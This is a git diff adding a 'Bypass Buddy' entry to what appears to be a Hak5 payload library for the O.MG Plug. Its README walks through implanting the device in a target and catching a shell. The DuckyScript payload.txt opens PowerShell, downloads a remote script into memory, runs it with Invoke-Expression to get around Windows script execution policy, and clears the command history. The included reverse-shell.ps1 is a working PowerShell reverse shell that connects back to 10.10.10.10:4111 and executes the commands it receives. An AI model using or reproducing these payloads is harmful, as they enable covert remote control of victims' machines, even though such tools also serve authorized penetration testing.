diff --git a/payloads/library/execution/bypass-buddy/README.md b/payloads/library/execution/bypass-buddy/README.md new file mode 100644 index 00000000..19ab7431 --- /dev/null +++ b/payloads/library/execution/bypass-buddy/README.md @@ -0,0 +1,64 @@ +# The Bypass Buddy: Bypass Script Execution Policies + +Running user (target) does **not** need to have admin rights. Bypass Buddy has only been tested on the [O.MG Plug Elite](https://hak5.org/products/omg-plug), Windows 11. It likely works on other [hak5 devices](https://hak5.org/products/) and Windows distributions -- the payload is written in standard DuckyScript™. + +## Overview + +### Target Has a Strict "Script Execution Policy"? Evade it and Run Whatever Script You Please! + +In this DuckyScript™, we explore a method to evade Windows 11's Script Execution Policy protections. The approach involves downloading a script to RAM, then executing it in RAM on-the-fly. This can be accomplished **without** administrative rights. + +

+ evasion +

+ +## How It Works + +To avoid Windows Script Execution policies: +1. **Upload** your .ps1 script to any webserver. +2. **Download** the Powershel script to memory on the target host. +3. **Execute** the Powershell script in RAM dynamically on your target host. +*Note: Nothing is ever written to disk.* + +## Steps to Execute a Restricted Powershell Payload + +1. **Prepare Your Powershell Script (.ps1)** + - Create your Powershell script. The example `reverse-shell.ps1` creates a reverse shell on the target host. You can create any Powerscript payload you please. + +2. **Upload Your Powershell Payload** + - Upload your .ps1 script to the serving-directory of your (attacking) webserver. + +3. **Set Up Your Listener** + - Open a listener on your receiving (attacking) host using Netcat or any listener you please: + ```bash + nc -v -p 4111 + ``` + +4. **Prepare Your DuckyScript™ Payload** + - Add `payload.txt` to the 'boot' slot of your O.MG Plug. + +5. **Deploy the O.MG Plug** + - Implant your O.MG Plug into the target host. + +6. **Wait for Connection** + - Wait for the target host to connect to your listener. + +7. **Verify the Connection** + - Type `whoami` into the reverse shell and hit enter. + +8. **Success!** + - You did it! +

+

+ reverse-shell +

+ +## Notes + +- **Ensure** to modify both `reverse-shell.ps1` and `payload.txt` with your specific configurations, including the IP address and port of your sending/receiving hosts, if you choose to use `reverse-shell.ps1` as your payload. +- In cases where you'd like to create your own .ps1 payload, modify just `payload.txt` with your webserver's host/IP and script name. +- This method is a **proof-of-concept** and should be tested responsibly and legally. + +--- + +*Remember, the purpose of this proof-of-concept is educational and for understanding how RAM injection/execution can be used to bypass certain security measures. Always use these techniques ethically and within the bounds of the law.* diff --git a/payloads/library/execution/bypass-buddy/img/art.txt b/payloads/library/execution/bypass-buddy/img/art.txt new file mode 100644 index 00000000..35a839d9 --- /dev/null +++ b/payloads/library/execution/bypass-buddy/img/art.txt @@ -0,0 +1,9 @@ +▀█████████▄ ▄██ ▄ ▄███████▄ ▄████████ ▄████████ ▄████████ ▀█████████▄ ███ █▄ ████████▄ ████████▄ ▄██ ▄ + ███ ███ ███ ██▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▀███ ███ ▀███ ███ ██▄ + ███ ███ ███▄▄▄███ ███ ███ ███ ███ ███ █▀ ███ █▀ ███ ███ ███ ███ ███ ███ ███ ███ ███▄▄▄███ + ▄███▄▄▄██▀ ▀▀▀▀▀▀███ ███ ███ ███ ███ ███ ███ ▄███▄▄▄██▀ ███ ███ ███ ███ ███ ███ ▀▀▀▀▀▀███ +▀▀███▀▀▀██▄ ▄██ ███ ▀█████████▀ ▀███████████ ▀███████████ ▀███████████ ▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ ███ ▄██ ███ + ███ ██▄ ███ ███ ███ ███ ███ ███ ███ ███ ██▄ ███ ███ ███ ███ ███ ███ ███ ███ + ███ ███ ███ ███ ███ ███ ███ ▄█ ███ ▄█ ███ ███ ███ ███ ███ ███ ▄███ ███ ▄███ ███ ███ +▄█████████▀ ▀█████▀ ▄████▀ ███ █▀ ▄████████▀ ▄████████▀ ▄█████████▀ ████████▀ ████████▀ ████████▀ ▀█████▀ + \ No newline at end of file diff --git a/payloads/library/execution/bypass-buddy/img/evasion.png b/payloads/library/execution/bypass-buddy/img/evasion.png new file mode 100644 index 00000000..2f84a0ef Binary files /dev/null and b/payloads/library/execution/bypass-buddy/img/evasion.png differ diff --git a/payloads/library/execution/bypass-buddy/img/reverse-shell.png b/payloads/library/execution/bypass-buddy/img/reverse-shell.png new file mode 100644 index 00000000..80c417f6 Binary files /dev/null and b/payloads/library/execution/bypass-buddy/img/reverse-shell.png differ diff --git a/payloads/library/execution/bypass-buddy/img/the-eye.png b/payloads/library/execution/bypass-buddy/img/the-eye.png new file mode 100644 index 00000000..2b668894 Binary files /dev/null and b/payloads/library/execution/bypass-buddy/img/the-eye.png differ diff --git a/payloads/library/execution/bypass-buddy/img/tmp b/payloads/library/execution/bypass-buddy/img/tmp new file mode 100644 index 00000000..3f3ae824 --- /dev/null +++ b/payloads/library/execution/bypass-buddy/img/tmp @@ -0,0 +1 @@ +In this DuckyScript™, we explore a method to evade Windows 11's Script Execution Policy protections. The approach involves downloading a script to RAM, then executing it in RAM on-the-fly. This can be accomplished **without** administrative rights. diff --git a/payloads/library/execution/bypass-buddy/payload.txt b/payloads/library/execution/bypass-buddy/payload.txt new file mode 100644 index 00000000..7f4a54f7 --- /dev/null +++ b/payloads/library/execution/bypass-buddy/payload.txt @@ -0,0 +1,41 @@ +REM_BLOCK + Title: The Bypass Buddy + Author: salt-or-ester | salt-or-ester@protonmail.com | https://gitgud.io/saltorester + Description: Evade Windows Script Execution Policy + Target: Windows 11 + Device: O.MG Plug | https://hak5.org/products/omg-plug + Version: 1.1 + Category: Execution + + Tested on: O.MG Plug Elite, Windows 11 + Will likely work on other devices and Windows flavors + + The Bypass Buddy implements a method to evade Windows script execution + policy protections. + + The approach involves downloading a Powershell script into memory (not disk), + and running it on-the-fly. + + This can be accomplished without administrative rights. +END_REM + +REM Formatting is not indented to comply with O.MG Editor/UI +FUNCTION EVADE_SCRIPT_EXECUTION_POLICY() +REM Normally I would add this below the header, as it's a constant, but moving it here for portability +REM Payload to download and run in memory +DEFINE #PAYLOAD_URL "http://10.10.10.10/payload.ps1" +GUI r +REM Let GUI load +DELAY 2000 +STRINGLN powershell +REM Let Powershell window open +DELAY 1000 +STRINGLN Start-Job -ScriptBlock { try { $response = Invoke-WebRequest -Uri #PAYLOAD_URL -ErrorAction Stop; $scriptContent = [System.Text.Encoding]::UTF8.GetString($response.Content); cd ~; Invoke-Expression $scriptContent } catch { Write-Error "Failed to download or execute script: $_" } } +STRINGLN Clear-History +STRINGLN clear +GUI DOWNARROW +END_FUNCTION + +REM Wait for device to be "ready" +DELAY 3000 +EVADE_SCRIPT_EXECUTION_POLICY() diff --git a/payloads/library/execution/bypass-buddy/reverse-shell.ps1 b/payloads/library/execution/bypass-buddy/reverse-shell.ps1 new file mode 100644 index 00000000..836dafb8 --- /dev/null +++ b/payloads/library/execution/bypass-buddy/reverse-shell.ps1 @@ -0,0 +1,42 @@ +# Create a TCP client and connect to the specified address and port +$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 4111) +$stream = $client.GetStream() +$writer = New-Object System.IO.StreamWriter($stream) +$reader = New-Object System.IO.StreamReader($stream) +$writer.AutoFlush = $true + +# Continuously listen for commands and execute them +while ($true) { + try { + # Read command from the listener + $command = $reader.ReadLine() + + # Check if the command is null or empty and continue to next iteration + if ([string]::IsNullOrWhiteSpace($command)) { + continue + } + + # Execute the command and capture the output + $output = Invoke-Expression $command 2>&1 | Out-String + + # Send the output back to the listener + $writer.WriteLine($output) + } + catch { + # Handle any errors that occur during command execution + $errorMessage = $_.Exception.Message + $writer.WriteLine("Error: $errorMessage") + } + finally { + # Check if the stream is still open, if not, re-establish the connection + if (-not $client.Connected) { + $client.Close() + Start-Sleep -Seconds 5 # Sleep before trying to reconnect + $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 4111) + $stream = $client.GetStream() + $writer = New-Object System.IO.StreamWriter($stream) + $reader = New-Object System.IO.StreamReader($stream) + $writer.AutoFlush = $true + } + } +} \ No newline at end of file